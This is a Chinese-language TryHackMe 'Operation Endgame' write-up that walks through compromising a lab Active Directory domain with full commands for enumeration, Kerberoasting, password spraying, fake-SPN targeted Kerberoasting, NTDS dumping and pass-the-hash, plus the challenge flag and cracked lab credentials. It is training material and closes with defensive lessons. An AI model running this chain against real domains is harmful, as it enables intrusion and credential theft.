taguianas/THM-OperationEndgame

GitHub: taguianas/THM-OperationEndgame

Stars: 0 | Forks: 0

# 🏴 TryHackMe: Operation Endgame ![Platform](https://img.shields.io/badge/Platform-TryHackMe-red?style=for-the-badge&logo=tryhackme&logoColor=white) ![Difficulty](https://img.shields.io/badge/Difficulty-Hard-critical?style=for-the-badge) ![Category](https://img.shields.io/badge/Category-Active%20Directory-blue?style=for-the-badge) ![Pwned](https://img.shields.io/badge/Status-Pwned-success?style=for-the-badge) | 字段 | 详情 | |-------|---------| | **平台** | TryHackMe | | **房间** | [Operation Endgame](https://tryhackme.com/room/operationendgame) | | **难度** | 困难 | | **类别** | Active Directory | | **时间** | ~60 分钟 | | **Flag** | `THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS}` | ## 📖 故事背景 这是一个单标志 Active Directory 渗透挑战。从零凭证开始,目标是完全攻陷 `thm.local` 域并从域控制器获取 flag。 ## 🗺️ 攻击路径概览 ``` [Anonymous] │ ├─ RustScan + enum4linux-ng → Domain: thm.local | DC: ad.thm.local ├─ Anonymous LDAP bind → 21,000+ objects dumped ├─ CrackMapExec RID Brute → 492 domain users → realusers.txt ├─ Guest account confirmed → No password required │ ├─ AS-REP Roasting (dead end) → 5 hashes, uncrackable │ ├─ Kerberoasting via Guest → CODY_ROY hash ├─ John the Ripper → CODY_ROY : MKO)mko0 ├─ xFreeRDP → RDP access as CODY_ROY │ ├─ Password Spray → ZACHARY_HUNT reuses MKO)mko0 ├─ BloodHound → ZACHARY_HUNT →[GenericWrite]→ JERRI_LANCASTER │ JERRI_LANCASTER →[AddSelf/WriteOwner]→ READER ADMINS │ ├─ bloodyAD → Set fake SPN on JERRI_LANCASTER ├─ Targeted Kerberoasting → JERRI_LANCASTER hash ├─ John the Ripper → JERRI_LANCASTER : lovinlife! ├─ xFreeRDP → RDP access as JERRI_LANCASTER │ ├─ C:\Scripts\syncer.ps1 → SANFORD_DAUGHERTY : RESET_ASAP123 (hardcoded!) ├─ BloodHound → SANFORD_DAUGHERTY →[MemberOf]→ DOMAIN ADMINS ├─ CrackMapExec → (Pwn3d!) confirmed Domain Admin │ ├─ secretsdump.py -just-dc-ntlm → Full NTDS dump, Administrator NT hash ├─ smbclient PTH → C$ access as Administrator └─ flag.txt.txt → THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS} ``` ## 🧰 使用的工具 | 工具 | 用途 | |------|---------| | `rustscan` | 快速端口扫描 | | `nmap` | 服务版本检测 | | `enum4linux-ng` | SMB/LDAP/RPC 枚举 | | `ldapsearch` | 匿名 LDAP 枚举 | | `crackmapexec` | RID 暴力破解,密码喷洒,PTH | | `impacket-GetNPUsers` | AS-REP Roasting | | `impacket-GetUserSPNs` | Kerberoasting | | `john` | 哈希破解 | | `hashcat` | 哈希破解(尝试) | | `bloodhound-python` | AD 攻击路径收集 | | `BloodHound` | AD 攻击路径可视化 | | `xfreerdp` | RDP 访问 | | `bloodyAD` | GenericWrite 滥用 / SPN 操作 | | `impacket-secretsdump` | NTDS 凭证转储 | | `smbclient` | SMB 文件访问 / 哈希传递 | ## 🔍 阶段 1:侦察 ### 端口扫描 ``` rustscan -a 10.114.139.22 ``` **开放端口:** | 端口 | 服务 | |------|---------| | 53 | DNS | | 80 | HTTP | | 88 | Kerberos | | 135 | RPC | | 139 | NetBIOS | | 389 | LDAP | | 443 | HTTPS | | 445 | SMB | | 593 | RPC over HTTP | ### SMB 与 域枚举 (enum4linux-ng) ``` enum4linux-ng -A 10.114.139.22 ``` **关键发现:** | 字段 | 值 | |-------|-------| | 域 | `THM` | | 域 SID | `S-1-5-21-1966530601-3185510712-10604624` | | DNS 域名 | `thm.local` | | FQDN | `ad.thm.local` | | NetBIOS 名称 | `AD` | | 操作系统 | Windows Server 2019 (Build 17763) | | SMB 签名 | **必需**(中继攻击不可行) | | 空会话 | **允许** | ### LDAP 枚举 ``` # Anonymous bind, 导出整个目录 (21,000+ 行) ldapsearch -x -H ldap://10.114.139.22 -b "DC=thm,DC=local" > ldap.txt # 已筛选: 仅包含设置了描述字段的用户 ldapsearch -x -H ldap://10.114.139.22 -b "DC=thm,DC=local" "(&(objectClass=user)(description=*))" sAMAccountName description ``` **结果:** 192 个带有描述字段的用户,描述中包含角色信息(例如 "Tier 1 User"),但在这种情况下没有明文密码。 ### RID 暴力破解 利用空会话通过 RID 循环枚举所有域用户: ``` crackmapexec smb 10.114.139.22 -u '' -p '' --rid-brute 2>/dev/null | grep "SidTypeUser" | awk -F'\' '{print $2}' | awk '{print $1}' > realusers.txt ``` **结果:** 提取了 **492 个域用户** 到 `realusers.txt` ``` # 已验证 Guest 账户存在 (无密码) grep -i guest realusers.txt # Guest ``` ## 🔓 阶段 2:初始访问 ### AS-REP Roasting(死胡同) 拥有完整的用户列表后,针对所有 492 个账户尝试了 AS-REP Roasting: ``` GetNPUsers.py thm.local/ -dc-ip 10.114.139.22 -usersfile realusers.txt -format hashcat -outputfile asrep.txt -no-pass ``` **发现易受攻击的账户:** - `SHELLEY_BEARD` - `ISIAH_WALKER` - `QUEEN_GARNER` - `PHYLLIS_MCCOY` - `MAXINE_FREEMAN` ``` # 尝试破解, 失败 hashcat --force -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt ``` ### 通过 Guest 账户进行 Kerberoasting 想起 `Guest` 账户不需要密码,利用它进行了认证 Kerberoasting: ``` GetUserSPNs.py thm.local/Guest -dc-ip 10.114.139.22 -outputfile kerberoast.txt # 密码: [空白, 仅按下 Enter] ``` **发现的 SPN:** | 用户 | SPN | 组 | |------|-----|-------| | `CODY_ROY` | `HTTP/server.secure.com` | Remote Desktop Users | ``` # 使用 john 破解 john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt ``` **结果:** `CODY_ROY` : `MKO)mko0` ✅ ### 以 CODY_ROY 身份进行 RDP 访问 ``` xfreerdp /v:10.114.139.22 /u:CODY_ROY /p:'MKO)mko0' /dynamic-resolution +clipboard /cert:ignore ``` 成功以 `CODY_ROY` 身份登录 Windows 桌面。 ## 🔺 阶段 3:横向移动 ### 密码喷洒:复用发现 将 `CODY_ROY` 的密码在所有 492 个域用户中进行了喷洒: ``` crackmapexec smb 10.114.139.22 -u realusers.txt -p 'MKO)mko0' --continue-on-success 2>/dev/null | grep "+" ``` **发现密码复用:** | 用户 | 密码 | |------|---------| | `CODY_ROY` | `MKO)mko0` | | `ZACHARY_HUNT` | `MKO)mko0` | ### BloodHound 收集 首先修复了 DNS 解析问题,然后收集了 AD 数据: ``` # 修复 DNS 使其指向 DC echo "nameserver 10.114.139.22 search thm.local" > /etc/resolv.conf # 收集所有 AD 数据 bloodhound-python -u CODY_ROY -p 'MKO)mko0' -d thm.local -ns 10.114.139.22 -c All --zip ``` **收集统计:** - 490 个用户 | 53 个组 | 4 个 GPO - 216 个 OU | 19 个容器 | 1 台计算机 - 输出:`20260304113949_bloodhound.zip` ### BloodHound 分析:攻击路径发现 将数据加载到 BloodHound 后: **CODY_ROY** :无有用的出站控制权限。 **ZACHARY_HUNT** :关键发现: ``` ZACHARY_HUNT →[GenericWrite]→ JERRI_LANCASTER JERRI_LANCASTER →[AddSelf]→ READER ADMINS JERRI_LANCASTER →[WriteOwner]→ READER ADMINS ``` 对用户拥有 **GenericWrite** 权限允许设置任意属性,包括 `servicePrincipalName`:从而实现 **目标 Kerberoasting**。 ### 目标 Kerberoasting:JERRI_LANCASTER **步骤 1:** 使用 `bloodyAD` 以 `ZACHARY_HUNT` 身份在 `JERRI_LANCASTER` 上设置一个虚假 SPN: ``` bloodyAD -u ZACHARY_HUNT -p 'MKO)mko0' -d thm.local --host 10.114.139.22 --dc-ip 10.114.189.12 set object JERRI_LANCASTER serviceprincipalName -v 'http/fake.thm.local' # [+] JERRI_LANCASTER 的 servicePrincipalName 已更新 ``` **步骤 2:** 请求 TGS 哈希: ``` GetUserSPNs.py thm.local/ZACHARY_HUNT:'MKO)mko0' -dc-ip 10.114.189.12 -outputfile jerri_hash.txt ``` **步骤 3:** 破解哈希: ``` john --wordlist=/usr/share/wordlists/rockyou.txt jerri_hash.txt ``` **结果:** `JERRI_LANCASTER` : `lovinlife!` ✅ ### 以 JERRI_LANCASTER 身份进行 RDP 访问 ``` xfreerdp /v:10.114.189.12 /u:JERRI_LANCASTER /p:'lovinlife!' /dynamic-resolution +clipboard /cert:ignore ``` `JERRI_LANCASTER` 是 `Reader Admins` 的成员:拥有对 DC 敏感区域的读取权限。 ## 👑 阶段 4:域攻陷 ### 脚本中的硬编码凭证 以 `JERRI_LANCASTER` 身份浏览 `C:\` 时,发现了一个可疑的 PowerShell 脚本: ``` # C:\Scripts\syncer.ps1 Import-Module ActiveDirectory # 定义凭证 $Username = "SANFORD_DAUGHERTY" $Password = ConvertTo-SecureString "RESET_ASAP123" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential($Username, $Password) # 同步 Active Directory Sync-ADObject -Object "DC=thm,DC=local" -Source "ad.thm.local" -Destination "ad2.thm.local" -Credential $Credential ``` **硬编码的明文凭据:** `SANFORD_DAUGHERTY` : `RESET_ASAP123` BloodHound 已经显示 `SANFORD_DAUGHERTY` 拥有 **通往域管理员的直接路径**。 ### 域管理员确认 ``` crackmapexec smb 10.114.189.12 -u SANFORD_DAUGHERTY -p 'RESET_ASAP123' # [+] thm.local\SANFORD_DAUGHERTY:RESET_ASAP123 (Pwn3d!) ``` `Pwn3d!` 确认了域管理员级别的访问权限。 ### NTDS 转储 ``` secretsdump.py thm.local/SANFORD_DAUGHERTY:'RESET_ASAP123'@10.114.189.12 -just-dc-ntlm ``` **提取的域管理员哈希:** ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:e599bf2fe56d6a21b3a5487bb4761d1b::: ``` ### 哈希传递:Administrator 访问 ``` smbclient '\\10.114.189.12\C$' -U 'administrator' --pw-nt-hash e599bf2fe56d6a21b3a5487bb4761d1b ``` 导航到 `C:\Users\Administrator\Desktop\` 并获取了 flag: ``` smb: \Users\Administrator\Desktop\> get flag.txt.txt smb: \Users\Administrator\Desktop\> exit cat flag.txt.txt ``` ## 🏆 Flag ``` THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS} ``` ## 📚 关键要点 1. **空会话是危险的**:匿名的 SMB/LDAP 访问使得在没有任何凭证的情况下能够进行完整的用户枚举。 2. **Guest 账户很重要**:无密码的 `Guest` 账户允许进行认证 Kerberoasting,绕过了对真实凭证的需求。 3. **密码复用普遍存在**:单个破解的密码(`MKO)mko0`)被同一域中的多个账户复用。 4. **GenericWrite = 目标 Kerberoast** :向用户账户写入虚假 SPN 会立即使其变得可 Kerberoast,即使它们之前没有 SPN。 5. **硬编码凭证是严重风险**:`syncer.ps1` 在文件系统中以明文形式存储了域管理员级别的凭证。 6. **BloodHound 至关重要**:如果不可视化攻击路径,`ZACHARY_HUNT → JERRI_LANCASTER → READER ADMINS` 链将极难手动发现。 7. **AV 可以阻断 psexec**:当 `psexec.py` 被 AV 阻断(会投放一个 exe)时,使用了带哈希传递的 `smbclient` 作为替代方案。 ## 🔗 参考 - [Impacket Suite](https://github.com/fortra/impacket) - [BloodHound](https://github.com/SpecterOps/BloodHound) - [bloodyAD](https://github.com/CravateRouge/bloodyAD) - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - [HackTricks: Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast) - [HackTricks: GenericWrite Abuse](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse) - [TryHackMe Room](https://tryhackme.com/room/operationendgame) *Writeup 由 [taguianas] 编写,2026 年 3 月*
标签:ACL滥用, Active Directory, AD域渗透, BloodHound, Conpot, CrackMapExec, CTI, FreeRDP, GenericWrite, Hard难度, IT安全, John the Ripper, Kerberoasting, LDAP, PE 加载器, Plaso, Red Team, TryHackMe, Web报告查看器, Windows安全, Writeup, 凭据转储, 协议分析, 域接管, 域控制器, 密码喷洒, 攻击链, 数据展示, 权限提升, 模拟器, 漏洞分析, 红队, 网络安全, 路径探测, 防御绕过, 隐私保护, 靶场攻略